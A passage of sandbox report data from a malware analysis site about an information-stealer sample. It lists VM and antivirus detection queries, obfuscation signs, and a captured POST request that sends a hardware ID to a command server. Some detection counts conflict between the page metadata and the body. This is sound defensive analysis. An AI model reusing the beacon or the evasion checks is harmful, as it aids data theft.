\"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")\n Found URL \"http://drrizon.click:6271/documentsm4 tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"File exhibits characteristics of junk code obfuscation","description":"Section \".rdata\" unusually large (10697872 bytes)\n possible junk padding\n Section \".data\" unusually large (33953952 bytes)\n possible junk padding","origin":"Static Parser","mitre_attack_id":"T1027.016","relevance":3,"id":"static-9001","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"PE file has no resource directory","description":"\"installer.exe\" has no resource directory","origin":"Static Parser","mitre_attack_id":"T1027.008","relevance":7,"id":"static-9002","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"suspicious","category":"Environment Awareness","name":"Executes WMI queries known to be used for VM detection","description":"\"installer.exe\" issued a query \"SELECT * FROM Win32_OperatingSystem\"\n \"installer.exe\" issued a query \"SELECT * FROM Win32_VideoController\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-57","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"\"SELECT * FROM Win32_OperatingSystem\" (Indicator: \" win32_operatingsystem\"; Source: \"00000000-00006960-00002714-1609247627\")\n \"SELECT * FROM Win32_VideoController\" (Indicator: \" win32_videocontroller\"; Source: \"00000000-00006960-00002714-1609255371\")\n \"cQuery(SELECT * FROM Win32_OperatingSystem);\" (Indicator: \" win32_operatingsystem\"; Source: \"00000000-00006960.00000000.167303.C9930000.00000004.mdmp\")\n \"hWMI.ExecQuery(SELECT * FROM Win32_VideoController);\" (Indicator: \" win32_videocontroller\"; Source: \"00000000-00006960.00000000.167303.C9930000.00000004.mdmp\")\n \"xecqueryselect * from win32_videocontroller\" (Indicator: \" win32_videocontroller\"; Source: \"00000000-00006960.00000000.167303.C9930000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\installer.exe\" queried ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":1,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"suspicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively low confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_70% (D)","origin":"External System","relevance":10,"id":"avtest-9","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"3/26 Antivirus vendors marked sample as malicious (11% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$3f","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"ROOT\\CIMV2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00006960-00002713-1609211951\")\n Found string \"ROOT\\CIMV2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00006960.00000000.167303.C9930000.00000004.mdmp\")\n Found string \"hWMI.ExecQuery(SELECT * FROM Win32_VideoController);\" (Indicator: \"wmi.exe\"; in Source: \"00000000-00006960.00000000.167303.C9930000.00000004.mdmp\")\n Found string \"^WMI.ExecQuery(SELECT * FROM AntiVirusProduct);\" (Indicator: \"wmi.exe\"; in Source: \"00000000-00006960.00000000.167303.C9930000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Executes WMI queries to gather system information","description":"\"installer.exe\" issued a query \"SELECT * FROM Win32_OperatingSystem\"\n \"installer.exe\" issued a query \"SELECT * FROM Win32_VideoController\"\n \"installer.exe\" issued a query \"SELECT * FROM AntiVirusProduct\"","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-183","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"installer.exe\" claimed CRC 282899697 while the actual is CRC 18202225","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetThreadContext\n GetSystemInfo\n GetSystemDirectoryA\n GetProcAddress\n LoadLibraryExW\n CreateThread\n WriteFile\n VirtualAlloc","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"installer.exe\" claims program is from Thu Jan 1 00:00:00 1970","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"drrizon.click\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"malicious","category":"Network Related","name":"Upload file using POST request","description":"$40","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-58","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 23.88.7.15 on port 6271","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using POST request","description":"\"POST /documents HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nContent-Type: application/x-www-form-urlencoded\nHost: github.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36\nContent-Length: 89\" with payload:==> \"tag=c2a473848f634f5c34856ea3ebd04eb6&exp=1788235659&hwid=c55b6c09d52b1e15af5e9b197c1139d5\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"malicious","category":"System Security","name":"Executes WMI queries in order to detect local security applications","description":"\"installer.exe\" issued a query \"SELECT * FROM AntiVirusProduct\"","origin":"API Call","mitre_attack_id":"T1518.001","relevance":7,"id":"api-80","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a web server"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Executes WMI queries in order to detect local security applications"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Executes WMI queries known to be used for VM detection"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]}],"intel_graph":{"map":{"Domain:drrizon.click":{"type":"Domain","value":"drrizon.click"},"Domain:github.com":{"type":"Domain","value":"github.com"},"File:0917ecd8ebfb2ef6f9fb4a7687ca51e842bd9edb1a1e24b30803e3d213cf324f":{"type":"File","value":"0917ecd8ebfb2ef6f9fb4a7687ca51e842bd9edb1a1e24b30803e3d213cf324f"},"Ip:23.88.7.15":{"type":"Ip","value":"23.88.7.15"},"Url:/documents":{"type":"Url","value":"/documents"}},"chains":[{"id":"sandbox_network","root":"File:0917ecd8ebfb2ef6f9fb4a7687ca51e842bd9edb1a1e24b30803e3d213cf324f","edges":[{"edge_kind":"contacted_ip","from_key":"File:0917ecd8ebfb2ef6f9fb4a7687ca51e842bd9edb1a1e24b30803e3d213cf324f","to_key":"Ip:23.88.7.15"},{"edge_kind":"contacted_domain","from_key":"File:0917ecd8ebfb2ef6f9fb4a7687ca51e842bd9edb1a1e24b30803e3d213cf324f","to_key":"Domain:drrizon.click"},{"edge_kind":"resolves_to","from_key":"Domain:drrizon.click","to_key":"Ip:23.88.7.15"},{"edge_kind":"contacted_domain","from_key":"File:0917ecd8ebfb2ef6f9fb4a7687ca51e842bd9edb1a1e24b30803e3d213cf324f","to_key":"Domain:github.com"},{"edge_kind":"contacted_url","from_key":"File:0917ecd8ebfb2ef6f9fb4a7687ca51e842bd9edb1a1e24b30803e3d213cf324f","to_key":"Url:/documents"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":4,"imported_dlls_count":53,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":0,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":2,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["remusstealer","commodity","criminal","informationstealer","new_domain","evasive","malicious"],"sample_flags":["Network Traffic"],"sandbox_reports":[{"id":"6aa02214ac0e1a11fe096315","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":87,"malware_family":"WinGo.J.gen","contacted_countries":["DEU"],"submit_name":"installer.exe","analysis_start_time":"2026-09-08T14:56:23+00:00","indicators_count":{"informative":167,"suspicious":34,"malicious":5},"tags":["Network Traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"23.88.7.15","port":6271,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]}],"dns_resolutions":[{"domain":"drrizon.click","address":"23.88.7.15","ttl":300,"country":"Germany","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"domain":"github.com","country":"-","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]}],"http_requests":[{"host":"github.com","host_ip":"23.88.7.15:6271","url":"/documents","method":"POST","response_code":"405","response_phrase":"Not Allowed","header":"POST /documents HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nContent-Type: application/x-www-form-urlencoded\nHost: github.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36\nContent-Length: 89","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}],"processes":[{"pid":6960,"ppid":0,"name":"installer.exe","command_line":"","sha256":"0917ecd8ebfb2ef6f9fb4a7687ca51e842bd9edb1a1e24b30803e3d213cf324f","normalized_path":"C:\\installer.exe","uid":"00000000-00006960","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACKElEQVR4Xu2RyW4TURBFvfEcB8f8AiwRv0UAA3E8ZERhSJiHsLCUFZK/gwAmTQYyAMYMhgASn+FNUVWvX3enKk/uTeRISUtHbnlxz73VicTpc+KfRq0CU/XJoUDuhPzzKPA879Bfggv0+/2hcPwKtFotaDabDL3b/y++/AdnX/xF/kBpGXn+G9mH0jPiF4w9RZ78hLHHRA+Kj3pwYWV/YK4q4KK0TMJQysJA2gukxYffofggROZI4hc4dOUPFBK+8P43OEPc+8qMLnVVjkQVcJ3KLjUrHdIllC5+MdwlOgNzVQEX4Wmt0Eq7ESFyp4N8hsJt5NYnlSOJXSBc2TUsdiPCDgtHWYosfISRm8SeypGoAq5TydMWIiuZQIrM78HI3C4zKFcVcBFdqqQknN9l8rM7PtuQn9lWOZLYBQIhUgikdukOyyy56Q+Qm0IaWypHogq4ThVdmichrbRSFm4ZUJqrb0K2tsFIoUQVcEFL7Vnz03alL2SpEWZr65CtIpPvGZkjiV2AVh5YSiutlIQ+mYoHmQlijZE5ElXA9QlyDSMMlloprsxUCF96Yw3S198ZrrWVUKIKuLDSjH/aQMhSKzTSdPktpK4Sb1SOJH4BEvvSNK0MpG1IoTBdbrOQufIaUpeR8VWVI1EFXJ+ATyukLGahla5Ccpx4BclLBimUqAIuzi9smpXlgyuTLA2FUc7NeCpHErvAUXE8CtSrE/wyDOpVLHD6nPjnPyIPUCMAVciHAAAAAElFTkSuQmCC"}],"all_imported_dlls":["gdi32.dll","gdi32full.dll","oleaut32.dll","version.dll","ucrtbase.dll","msvcp140.dll","imm32.dll","wbemcomn.dll","mswsock.dll","FWPUCLNT.DLL","ntdll.dll","msvcp_win.dll","powrprof.dll","fastprox.dll","rasadhlp.dll","msvcrt.dll","umpdc.dll","uxtheme.dll","userenv.dll","MpOAV.dll","OnDemandConnRouteHelper.dll","bcryptprimitives.dll","apphelp.dll","fltLib.dll","user32.dll","winhttp.dll","kernel.appcore.dll","profapi.dll","shlwapi.dll","advapi32.dll","cryptsp.dll","ws2_32.dll","vcruntime140_1.dll","ole32.dll","clbcatq.dll","wbemprox.dll","sechost.dll","wbemsvc.dll","amsi.dll","sspicli.dll","winnsi.dll","dnsapi.dll","KernelBase.dll","vcruntime140.dll","combase.dll","3sH99F67.dll","webio.dll","IPHLPAPI.DLL","nsi.dll","kernel32.dll","VxSSL64.dll","rpcrt4.dll","win32u.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":null,"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\TENANTRESTRICTIONS\\PAYLOAD\\","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6960:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"name":"Local\\SM0:6960:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"name":"SM0:6960:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6960:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]}]}},"report_ids":{"sandbox_job_ids":["6aa02214ac0e1a11fe096315"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Win/malicious_confidence_70% Sample 0917ecd8ebfb… — Score 87/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 0917ecd8ebfb…. Malware family: Win/malicious_confidence_70%. Threat score 87/100. 4/27 AV engines flagged this file. 6 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/0917ecd8ebfb2ef6f9fb4a7687ca51e842bd9edb1a1e24b30803e3d213cf324f"}],["$","meta","4",{"property":"og:title","content":"Malicious Win/malicious_confidence_70% Sample 0917ecd8ebfb… — Score 87/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 0917ecd8ebfb…. Malware family: Win/malicious_confidence_70%. Threat score 87/100. 4/27 AV engines flagged this file. 6 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/0917ecd8ebfb2ef6f9fb4a7687ca51e842bd9edb1a1e24b30803e3d213cf324f"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win/malicious_confidence_70% Sample 0917ecd8ebfb… — Score 87/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 0917ecd8ebfb…. Malware family: Win/malicious_confidence_70%. Threat score 87/100. 4/27 AV engines flagged this file. 6 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L41","11",{}]]